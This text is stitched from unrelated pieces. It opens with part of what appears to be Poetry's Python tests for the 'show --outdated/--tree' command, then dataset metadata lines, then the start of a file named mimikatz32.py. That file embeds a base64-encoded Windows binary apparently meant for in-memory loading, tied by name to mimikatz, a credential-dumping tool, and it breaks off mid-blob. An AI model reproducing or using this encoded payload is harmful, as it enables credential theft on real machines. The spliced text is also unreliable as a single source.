"description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": []}, }, } ) tester.execute("--outdated") expected = """\ cachy 0.1.0 0.2.0 Cachy package """ assert tester.io.fetch_output() == expected def test_show_outdated_with_only_up_to_date_packages( tester: CommandTester, poetry: Poetry, installed: Repository, repo: TestRepository, ): cachy_020 = get_package("cachy", "0.2.0") cachy_020.description = "Cachy package" installed.add_package(cachy_020) repo.add_package(cachy_020) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.2.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": []}, }, } ) tester.execute("--outdated") expected = "" assert tester.io.fetch_output() == expected def test_show_outdated_has_prerelease_but_not_allowed( tester: CommandTester, poetry: Poetry, installed: Repository, repo: TestRepository, ): poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0")) poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0")) cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" cachy_020 = get_package("cachy", "0.2.0") cachy_020.description = "Cachy package" cachy_030dev = get_package("cachy", "0.3.0.dev123") cachy_030dev.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" installed.add_package(cachy_010) installed.add_package(pendulum_200) # sorting isn't used, so this has to be the first element to # replicate the issue in PR #1548 repo.add_package(cachy_030dev) repo.add_package(cachy_010) repo.add_package(cachy_020) repo.add_package(pendulum_200) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": []}, }, } ) tester.execute("--outdated") expected = """\ cachy 0.1.0 0.2.0 Cachy package """ assert tester.io.fetch_output() == expected def test_show_outdated_has_prerelease_and_allowed( tester: CommandTester, poetry: Poetry, installed: Repository, repo: TestRepository, ): poetry.package.add_dependency( Factory.create_dependency( "cachy", {"version": ">=0.0.1", "allow-prereleases": True} ) ) poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0")) cachy_010dev = get_package("cachy", "0.1.0.dev1") cachy_010dev.description = "Cachy package" cachy_020 = get_package("cachy", "0.2.0") cachy_020.description = "Cachy package" cachy_030dev = get_package("cachy", "0.3.0.dev123") cachy_030dev.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" installed.add_package(cachy_010dev) installed.add_package(pendulum_200) # sorting isn't used, so this has to be the first element to # replicate the issue in PR #1548 repo.add_package(cachy_030dev) repo.add_package(cachy_010dev) repo.add_package(cachy_020) repo.add_package(pendulum_200) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0.dev1", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": []}, }, } ) tester.execute("--outdated") expected = """\ cachy 0.1.0.dev1 0.3.0.dev123 Cachy package """ assert tester.io.fetch_output() == expected def test_show_outdated_formatting( tester: CommandTester, poetry: Poetry, installed: Repository, repo: TestRepository, ): poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0")) poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0")) cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" cachy_020 = get_package("cachy", "0.2.0") cachy_020.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" pendulum_201 = get_package("pendulum", "2.0.1") pendulum_201.description = "Pendulum package" installed.add_package(cachy_010) installed.add_package(pendulum_200) repo.add_package(cachy_010) repo.add_package(cachy_020) repo.add_package(pendulum_200) repo.add_package(pendulum_201) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": []}, }, } ) tester.execute("--outdated") expected = """\ cachy 0.1.0 0.2.0 Cachy package pendulum 2.0.0 2.0.1 Pendulum package """ assert tester.io.fetch_output() == expected @pytest.mark.parametrize("project_directory", ["project_with_local_dependencies"]) def test_show_outdated_local_dependencies( tester: CommandTester, poetry: Poetry, installed: Repository, repo: TestRepository, ): cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" cachy_020 = get_package("cachy", "0.2.0") cachy_020.description = "Cachy package" cachy_030 = get_package("cachy", "0.3.0") cachy_030.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" demo_010 = get_package("demo", "0.1.0") demo_010.description = "" my_package_012 = get_package("project-with-setup", "0.1.2") my_package_012.description = "Demo project." installed.add_package(cachy_020) installed.add_package(pendulum_200) installed.add_package(demo_010) installed.add_package(my_package_012) repo.add_package(cachy_020) repo.add_package(cachy_030) repo.add_package(pendulum_200) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.2.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "demo", "version": "0.1.0", "description": "Demo package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], "source": { "type": "file", "reference": "", "url": "../distributions/demo-0.1.0-py2.py3-none-any.whl", }, }, { "name": "project-with-setup", "version": "0.1.1", "description": "Demo project.", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], "dependencies": { "pendulum": "pendulum>=1.4.4", "cachy": {"version": ">=0.2.0", "extras": ["msgpack"]}, }, "source": { "type": "directory", "reference": "", "url": "../project_with_setup", }, }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": { "cachy": [], "pendulum": [], "demo": [], "project-with-setup": [], }, }, } ) tester.execute("--outdated") expected = """\ cachy 0.2.0 0.3.0 project-with-setup 0.1.1 ../project_with_setup 0.1.2 ../project_with_setup """ assert ( "\n".join(line.rstrip() for line in tester.io.fetch_output().splitlines()) == expected.rstrip() ) @pytest.mark.parametrize("project_directory", ["project_with_git_dev_dependency"]) def test_show_outdated_git_dev_dependency( tester: CommandTester, poetry: Poetry, installed: Repository, repo: TestRepository, ): cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" cachy_020 = get_package("cachy", "0.2.0") cachy_020.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" demo_011 = get_package("demo", "0.1.1") demo_011.description = "Demo package" pytest = get_package("pytest", "3.4.3") pytest.description = "Pytest" installed.add_package(cachy_010) installed.add_package(pendulum_200) installed.add_package(demo_011) installed.add_package(pytest) repo.add_package(cachy_010) repo.add_package(cachy_020) repo.add_package(pendulum_200) repo.add_package(pytest) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "demo", "version": "0.1.1", "description": "Demo package", "category": "dev", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], "source": { "type": "git", "reference": "9cf87a285a2d3fbb0b9fa621997b3acc3631ed24", "resolved_reference": ( "9cf87a285a2d3fbb0b9fa621997b3acc3631ed24" ), "url": "https://github.com/demo/demo.git", }, }, { "name": "pytest", "version": "3.4.3", "description": "Pytest", "category": "dev", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": [], "demo": [], "pytest": []}, }, } ) tester.execute("--outdated") expected = """\ cachy 0.1.0 0.2.0 Cachy package demo 0.1.1 9cf87a2 0.1.2 9cf87a2 Demo package """ assert tester.io.fetch_output() == expected @pytest.mark.parametrize("project_directory", ["project_with_git_dev_dependency"]) def test_show_outdated_no_dev_git_dev_dependency( tester: CommandTester, poetry: Poetry, installed: Repository, repo: TestRepository, ): cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" cachy_020 = get_package("cachy", "0.2.0") cachy_020.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" demo_011 = get_package("demo", "0.1.1") demo_011.description = "Demo package" pytest = get_package("pytest", "3.4.3") pytest.description = "Pytest" installed.add_package(cachy_010) installed.add_package(pendulum_200) installed.add_package(demo_011) installed.add_package(pytest) repo.add_package(cachy_010) repo.add_package(cachy_020) repo.add_package(pendulum_200) repo.add_package(pytest) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "demo", "version": "0.1.1", "description": "Demo package", "category": "dev", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], "source": { "type": "git", "reference": "9cf87a285a2d3fbb0b9fa621997b3acc3631ed24", "url": "https://github.com/demo/pyproject-demo.git", }, }, { "name": "pytest", "version": "3.4.3", "description": "Pytest", "category": "dev", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": [], "demo": [], "pytest": []}, }, } ) tester.execute("--outdated --without dev") expected = """\ cachy 0.1.0 0.2.0 Cachy package """ assert tester.io.fetch_output() == expected def test_show_hides_incompatible_package( tester: CommandTester, poetry: Poetry, installed: Repository, repo: TestRepository, ): poetry.package.add_dependency( Factory.create_dependency("cachy", {"version": "^0.1.0", "python": "< 2.0"}) ) poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0")) cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" installed.add_package(pendulum_200) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": []}, }, } ) tester.execute() expected = """\ pendulum 2.0.0 Pendulum package """ assert tester.io.fetch_output() == expected def test_show_all_shows_incompatible_package( tester: CommandTester, poetry: Poetry, installed: Repository, repo: TestRepository, ): cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" installed.add_package(pendulum_200) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], "requirements": {"python": "1.0"}, }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": []}, }, } ) tester.execute("--all") expected = """\ cachy 0.1.0 Cachy package pendulum 2.0.0 Pendulum package """ assert tester.io.fetch_output() == expected def test_show_non_dev_with_basic_installed_packages( tester: CommandTester, poetry: Poetry, installed: Repository ): poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0")) poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0")) poetry.package.add_dependency( Factory.create_dependency("pytest", "*", groups=["dev"]) ) cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" pytest_373 = get_package("pytest", "3.7.3") pytest_373.description = "Pytest package" pytest_373.category = "dev" installed.add_package(cachy_010) installed.add_package(pendulum_200) installed.add_package(pytest_373) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pytest", "version": "3.7.3", "description": "Pytest package", "category": "dev", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": [], "pytest": []}, }, } ) tester.execute("--without dev") expected = """\ cachy 0.1.0 Cachy package pendulum 2.0.0 Pendulum package """ assert tester.io.fetch_output() == expected def test_show_with_group_only( tester: CommandTester, poetry: Poetry, installed: Repository ): poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0")) poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0")) poetry.package.add_dependency( Factory.create_dependency("pytest", "*", groups=["dev"]) ) cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" pytest_373 = get_package("pytest", "3.7.3") pytest_373.description = "Pytest package" pytest_373.category = "dev" installed.add_package(cachy_010) installed.add_package(pendulum_200) installed.add_package(pytest_373) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pytest", "version": "3.7.3", "description": "Pytest package", "category": "dev", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": [], "pytest": []}, }, } ) tester.execute("--only dev") expected = """\ pytest 3.7.3 Pytest package """ assert tester.io.fetch_output() == expected def test_show_with_optional_group( tester: CommandTester, poetry: Poetry, installed: Repository ): poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0")) poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0")) group = DependencyGroup("dev", optional=True) group.add_dependency(Factory.create_dependency("pytest", "*", groups=["dev"])) poetry.package.add_dependency_group(group) cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" pytest_373 = get_package("pytest", "3.7.3") pytest_373.description = "Pytest package" pytest_373.category = "dev" installed.add_package(cachy_010) installed.add_package(pendulum_200) installed.add_package(pytest_373) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pytest", "version": "3.7.3", "description": "Pytest package", "category": "dev", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": [], "pytest": []}, }, } ) tester.execute() expected = """\ cachy 0.1.0 Cachy package pendulum 2.0.0 Pendulum package """ assert tester.io.fetch_output() == expected tester.execute("--with dev") expected = """\ cachy 0.1.0 Cachy package pendulum 2.0.0 Pendulum package pytest 3.7.3 Pytest package """ assert tester.io.fetch_output() == expected def test_show_tree(tester: CommandTester, poetry: Poetry, installed: Repository): poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.2.0")) cachy2 = get_package("cachy", "0.2.0") cachy2.add_dependency(Factory.create_dependency("msgpack-python", ">=0.5 <0.6")) installed.add_package(cachy2) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.2.0", "description": "", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], "dependencies": {"msgpack-python": ">=0.5 <0.6"}, }, { "name": "msgpack-python", "version": "0.5.1", "description": "", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "msgpack-python": []}, }, } ) tester.execute("--tree", supports_utf8=False) expected = """\ cachy 0.2.0 `-- msgpack-python >=0.5 <0.6 """ assert tester.io.fetch_output() == expected def test_show_tree_no_dev(tester: CommandTester, poetry: Poetry, installed: Repository): poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.2.0")) poetry.package.add_dependency( Factory.create_dependency("pytest", "^6.1.0", groups=["dev"]) ) cachy2 = get_package("cachy", "0.2.0") cachy2.add_dependency(Factory.create_dependency("msgpack-python", ">=0.5 <0.6")) installed.add_package(cachy2) pytest = get_package("pytest", "6.1.1") installed.add_package(pytest) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.2.0", "description": "", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], "dependencies": {"msgpack-python": ">=0.5 <0.6"}, }, { "name": "msgpack-python", "version": "0.5.1", "description": "", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pytest", "version": "6.1.1", "description": "", "category": "dev", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "msgpack-python": [], "pytest": []}, }, } ) tester.execute("--tree --without dev") expected = """\ cachy 0.2.0 └── msgpack-python >=0.5 <0.6 """ assert tester.io.fetch_output() == expected def test_show_required_by_deps( tester: CommandTester, poetry: Poetry, installed: Repository ): poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.2.0")) poetry.package.add_dependency(Factory.create_dependency("pendulum", "2.0.0")) cachy2 = get_package("cachy", "0.2.0") cachy2.add_dependency(Factory.create_dependency("msgpack-python", ">=0.5 <0.6")) pendulum = get_package("pendulum", "2.0.0") pendulum.add_dependency(Factory.create_dependency("CachY", "^0.2.0")) installed.add_package(cachy2) installed.add_package(pendulum) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.2.0", "description": "", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], "dependencies": {"msgpack-python": ">=0.5 <0.6"}, }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], "dependencies": {"cachy": ">=0.2.0 <0.3.0"}, }, { "name": "msgpack-python", "version": "0.5.1", "description": "", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": [], "msgpack-python": []}, }, } ) tester.execute("cachy") expected = """\ name : cachy version : 0.2.0 description : dependencies - msgpack-python >=0.5 <0.6 required by - pendulum >=0.2.0 <0.3.0 """.splitlines() actual = [line.rstrip() for line in tester.io.fetch_output().splitlines()] assert actual == expected def test_show_errors_without_lock_file(tester: CommandTester, poetry: Poetry): assert not poetry.locker.lock.exists() tester.execute() expected = "Error: poetry.lock not found. Run `poetry lock` to create it.\n" assert tester.io.fetch_error() == expected assert tester.status_code == 1

30.433258

88

0.462569

4,525

53,806

5.349171

0.04442

0.009089

0.00942

0.063582

0.916009

0.904235

0.894898

0.879322

0.863623

0.848874

0

0.054783

0.389009

53,806

1,767

89

30.450481

0.681399

0.003327

0

0.729153

0

0.002668

0.240217

0.009812

0

0.018012

1

0.017345

false

0

0.007338

0.000667

0.02535

0

null

0

1

0

1

0

null

0

7

913621bc199f75d4f70a4d070101a85a67b41499

510,111

py

Python

example/mimikatz32.py

n1nj4sec/pymemimporter

80a31589daa4d9312a5bf4ad63ac3c07e323337b

[ "BSD-3-Clause" ]

65

2017-03-16T18:22:48.000Z

2022-03-03T11:41:16.000Z

example/mimikatz32.py

CuPidev/pymemimporter

80a31589daa4d9312a5bf4ad63ac3c07e323337b

[ "BSD-3-Clause" ]

3

2018-07-06T06:21:17.000Z

2021-04-24T12:21:41.000Z

example/mimikatz32.py

CuPidev/pymemimporter

80a31589daa4d9312a5bf4ad63ac3c07e323337b

[ "BSD-3-Clause" ]

24

2017-03-23T18:40:40.000Z

2022-03-25T15:15:42.000Z

import sys import base64 import imp import pymemimporter pupymem_exec_pyd=""" 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